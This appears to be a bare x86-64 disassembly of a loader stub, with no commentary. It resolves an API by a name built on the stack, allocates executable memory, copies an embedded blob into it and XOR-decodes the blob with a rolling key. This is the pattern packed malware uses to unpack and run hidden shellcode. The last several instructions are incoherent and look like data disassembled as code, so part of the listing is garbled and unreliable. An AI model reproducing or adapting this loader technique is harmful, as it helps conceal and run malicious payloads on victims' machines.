mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x140022c5d]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140027114
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x14002716d
je 0x140027173
call 0x140027164
fild qword [rdi - 0x7c]
jmp 0x174f638e6
jne 0x140027136
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x1400270f6
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret